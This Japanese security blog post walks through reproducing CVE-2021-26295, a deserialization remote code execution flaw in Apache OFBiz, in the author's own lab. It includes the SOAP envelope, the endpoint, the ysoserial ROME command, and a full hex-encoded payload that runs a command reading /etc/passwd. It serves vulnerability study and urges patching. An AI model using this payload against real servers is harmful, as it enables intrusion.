以下の記事の続きです。
・Apache OFBizの脆弱性(CVE-2021-26295)の検証:環境構築編
実際に検証を行っていきます。
なお、この記事については悪用を促すものではありません。
本脆弱性を使用して悪用した場合は法的に処罰される可能性がありますので、ご注意ください。
安全でないデシリアライゼーションについて
今回検証する脆弱性は「安全でないデシリアライゼーション」という脆弱性を利用します。
CWE(Common Weakness Enumeration)だと「CWE-502」になっています。
詳細はこちらのページに記載しています。
ブラックボックスの診断だと見つかりにくい脆弱性かと思います。
少なくとも私は実際に見つけたことはありません。
ここで解説するよりも、みんなの徳丸先生がyoutubeで解説しているので、こちらを見ていただいた方がいいかと思います。
・安全でないデシリアライゼーション入門(リンクページに遷移します)
では実際に「CVE-2021-26295」の動作を確認してみます。
PoCの調査
日本語はもちろんですが、英語の情報も少なく苦労しました。
githubにPoCを何個か発見しましたので、そのうちの一つのソースを見てみます。
記載が中国語なので、多少躊躇するかと思いますが、ソースはPythonで記載されているので大丈夫です。
以下のようなXMLを送信するようです。
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header/><soapenv:Body>
<ns1:clearAllEntityCaches xmlns:ns1="http://ofbiz.apache.org/service/">
<ns1:cus-obj>
#ここに攻撃コード挿入
</ns1:cus-obj>
</ns1:clearAllEntityCaches>
</soapenv:Body>
</soapenv:Envelope>
対象のパスは「/webtools/control/SOAPService」ですね。
攻撃コードについては簡単に「cat /etc/passwd > /tmp/test.txt」と入力してもだめです。
これで動いたらただのOSコマンドインジェクションです。
何かしら処理を加える必要があります。
攻撃コードの調査
以下の記事とTwitterが参考になりました。
記事については中国語ですが、中国語の情報しかなかったので、Google先生に聞きながら読みました。
・Apache OFBiz (CVE-2021-26295)漏洞复现
・Apache ofbiz RMI远程代码执行漏洞复现(CVE-2021-26295)
#CVE CVE-2021-26295 Apache OFBiz RCE
RMI Deserializes Remote Code Execution
ROME chain provided by ysoserial make deserialization payload(aced000… …)
VER: < 17.12.06 pic.twitter.com/5cUSKebRZ6— 之乎者也 (@zhzyker) April 4, 2021
Javaもそうですが、プログラム自体にもう少し詳しければそんなに時間がかからないでできたのではないかと思います。
環境構築+検証で二日もかかってしまいました・・・
実際の検証
まずは先ほどのXMLの攻撃コードの箇所に入れる値を生成します。
以下のサイトでbashコードをbase64にエンコードした値を生成します。
これをしないと、うまく動かず失敗しました。
この記事では「cat /etc/passwd > /tmp/test.txt」を動作させるようにします。
・java.lang.Runtime.exec() Payload Workarounds
以下が生成した際の画像です。
これを「ysoserial.jar」というOWASPチートシートでも紹介されているツールを使用して、ペイロードを作成します。
「java -jar ysoserial.jar [payload] ‘[command]’」という形式で入力を行います。
[command]箇所には先ほど生成した「cat /etc/passwd > /tmp/test.txt」をbase64エンコードした値を入力します。
[payload]箇所には「ROME」を指定します。
上記の結果を「1.txt」にリダイレクトさせました。以下が実行した際の様子です。
この「1.txt」を以下のコードを使用して、16進数に変換しました。
import binascii filename = '1.txt' with open(filename, 'rb') as f: content = f.read() print(binascii.hexlify(content))
以下が実行すると以下のようになります。(キャプチャに収まりきらなかった・・・)
# python3 test.py b'aced0005737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f400000000000007708000000020000000273720028636f6d2e73756e2e73796e6469636174696f6e2e666565642e696d706c2e4f626a6563744265616e829907de7604944a0200034c000e5f636c6f6e6561626c654265616e74002d4c636f6d2f73756e2f73796e6469636174696f6e2f666565642f696d706c2f436c6f6e6561626c654265616e3b4c000b5f657175616c734265616e74002a4c636f6d2f73756e2f73796e6469636174696f6e2f666565642f696d706c2f457175616c734265616e3b4c000d5f746f537472696e674265616e74002c4c636f6d2f73756e2f73796e6469636174696f6e2f666565642f696d706c2f546f537472696e674265616e3b78707372002b636f6d2e73756e2e73796e6469636174696f6e2e666565642e696d706c2e436c6f6e6561626c654265616edd61bbc5334f6b770200024c00115f69676e6f726550726f7065727469657374000f4c6a6176612f7574696c2f5365743b4c00045f6f626a7400124c6a6176612f6c616e672f4f626a6563743b78707372001e6a6176612e7574696c2e436f6c6c656374696f6e7324456d70747953657415f5721db403cb2802000078707371007e00027371007e000771007e000c7372003a636f6d2e73756e2e6f72672e6170616368652e78616c616e2e696e7465726e616c2e78736c74632e747261782e54656d706c61746573496d706c09574fc16eacab3303000649000d5f696e64656e744e756d62657249000e5f7472616e736c6574496e6465785b000a5f62797465636f6465737400035b5b425b00065f636c6173737400125b4c6a6176612f6c616e672f436c6173733b4c00055f6e616d657400124c6a6176612f6c616e672f537472696e673b4c00115f6f757470757450726f706572746965737400164c6a6176612f7574696c2f50726f706572746965733b787000000000ffffffff757200035b5b424bfd19156767db37020000787000000002757200025b42acf317f8060854e00200007870000006ebcafebabe0000003200390a0003002207003707002507002601001073657269616c56657273696f6e5549440100014a01000d436f6e7374616e7456616c756505ad2093f391ddef3e0100063c696e69743e010003282956010004436f646501000f4c696e654e756d6265725461626c650100124c6f63616c5661726961626c655461626c6501000474686973010013537475625472616e736c65745061796c6f616401000c496e6e6572436c61737365730100354c79736f73657269616c2f7061796c6f6164732f7574696c2f4761646765747324537475625472616e736c65745061796c6f61643b0100097472616e73666f726d010072284c636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f444f4d3b5b4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c697a65722f53657269616c697a6174696f6e48616e646c65723b2956010008646f63756d656e7401002d4c636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f444f4d3b01000868616e646c6572730100425b4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c697a65722f53657269616c697a6174696f6e48616e646c65723b01000a457863657074696f6e730700270100a6284c636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f444f4d3b4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f64746d2f44544d417869734974657261746f723b4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c697a65722f53657269616c697a6174696f6e48616e646c65723b29560100086974657261746f720100354c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f64746d2f44544d417869734974657261746f723b01000768616e646c65720100414c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c697a65722f53657269616c697a6174696f6e48616e646c65723b01000a536f7572636546696c6501000c476164676574732e6a6176610c000a000b07002801003379736f73657269616c2f7061796c6f6164732f7574696c2f4761646765747324537475625472616e736c65745061796c6f6164010040636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f72756e74696d652f41627374726163745472616e736c65740100146a6176612f696f2f53657269616c697a61626c65010039636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f5472616e736c6574457863657074696f6e01001f79736f73657269616c2f7061796c6f6164732f7574696c2f476164676574730100083c636c696e69743e0100116a6176612f6c616e672f52756e74696d6507002a01000a67657452756e74696d6501001528294c6a6176612f6c616e672f52756e74696d653b0c002c002d0a002b002e01005962617368202d63207b6563686f2c596d467a614341745979416e593246304943396c64474d766347467a6333646b50693930625841766447567a644335306548516e7d7c7b6261736536342c2d647d7c7b626173682c2d697d08003001000465786563010027284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f50726f636573733b0c003200330a002b003401000d537461636b4d61705461626c6501001c79736f73657269616c2f50776e65723333303434373933393234373301001e4c79736f73657269616c2f50776e6572333330343437393339323437333b002100020003000100040001001a000500060001000700000002000800040001000a000b0001000c0000002f00010001000000052ab70001b100000002000d0000000600010000002f000e0000000c000100000005000f003800000001001300140002000c0000003f0000000300000001b100000002000d00000006000100000033000e00000020000300000001000f0038000000000001001500160001000000010017001800020019000000040001001a00010013001b0002000c000000490000000400000001b100000002000d00000006000100000036000e0000002a000400000001000f003800000000000100150016000100000001001c001d000200000001001e001f00030019000000040001001a00080029000b0001000c00000024000300020000000fa70003014cb8002f1231b6003557b1000000010036000000030001030002002000000002002100110000000a000100020023001000097571007e0017000001d4cafebabe00000032001b0a0003001507001707001807001901001073657269616c56657273696f6e5549440100014a01000d436f6e7374616e7456616c75650571e669ee3c6d47180100063c696e69743e010003282956010004436f646501000f4c696e654e756d6265725461626c650100124c6f63616c5661726961626c655461626c6501000474686973010003466f6f01000c496e6e6572436c61737365730100254c79736f73657269616c2f7061796c6f6164732f7574696c2f4761646765747324466f6f3b01000a536f7572636546696c6501000c476164676574732e6a6176610c000a000b07001a01002379736f73657269616c2f7061796c6f6164732f7574696c2f4761646765747324466f6f0100106a6176612f6c616e672f4f626a6563740100146a6176612f696f2f53657269616c697a61626c6501001f79736f73657269616c2f7061796c6f6164732f7574696c2f47616467657473002100020003000100040001001a000500060001000700000002000800010001000a000b0001000c0000002f00010001000000052ab70001b100000002000d0000000600010000003a000e0000000c000100000005000f001200000002001300000002001400110000000a000100020016001000097074000450776e72707701007873720028636f6d2e73756e2e73796e6469636174696f6e2e666565642e696d706c2e457175616c734265616ef58a18bbe5f618110200024c000a5f6265616e436c6173737400114c6a6176612f6c616e672f436c6173733b4c00045f6f626a71007e000978707672001d6a617661782e786d6c2e7472616e73666f726d2e54656d706c617465730000000000000000000000787071007e00147372002a636f6d2e73756e2e73796e6469636174696f6e2e666565642e696d706c2e546f537472696e674265616e09f58e4a0f23ee310200024c000a5f6265616e436c61737371007e001c4c00045f6f626a71007e0009787071007e001f71007e00147371007e001b7671007e000271007e000d7371007e002071007e002371007e000d71007e000671007e000671007e000678'
上記の結果を先ほどのXMLの攻撃コードの箇所に入力します。
以下はburpのRepeaterを使用して実行した様子です。
レスポンスには特にコード実行の結果は出力されません。
以下がターミナルの結果です。
実行前後で「test.txt」が増えていることが分かります。
※黄色枠が実行前のlsの結果、赤枠が実行後のlsの結果です。
結果を「cat」してみると、ちゃんと(?)「/etc/passwd」の中身が出力されます。
よって、脆弱性を利用して任意のコマンドを実行させることが可能であることが分かりました!
もし脆弱性のあるバージョンを使用している方は至急アップロードしてください。
まとめ
Apache OFBizの脆弱性(CVE-2021-26295)を環境構築し、脆弱性の検証を行いました。
脆弱性のある最新バージョンで検証できなかったのは非常に心残りですが、「17.12.06」以下のバージョンで発生する問題のようですので、今回のバージョンでも問題ないのではないかと思っています。
新しめの脆弱性の検証をする際は情報が少ないので大変ですが、できた際はかなり興奮します。
※もちろん簡単にできる人はそうでもないでしょうが・・・
今後もちょこちょこ脆弱性の検証についてはやってきますので、興味がある方は見てみてください。
不明点や要望やこういったこともやって欲しいとの要望があれば、お問い合わせページやコメント、ツイッターからでも結構ですので、気軽にご連絡ください。
コメント
こんにちは。ブログ参考にさせていただいています。
CVE-2021-26295について検証していて、ところてんさんのこの記事を参考にPoCを作成し、Burpで流したのですが、/tmpにtest.txtが作成されません。
こちらはなぜなのかご存知でしたら、ご教授お願い致します。
環境の情報や実際に流したものがどういった内容か不明ですので、具体的にアドバイスするのが難しいのですが、
使用した「Apache OFBiz」のバージョンについては「17.12.06」以下のバージョンでしょうか。
また、16進数に変換した際にb’XXXXXX’という形で出力されると思いますが、burpで流す際に「b’」と「’」が含まれていないでしょうか。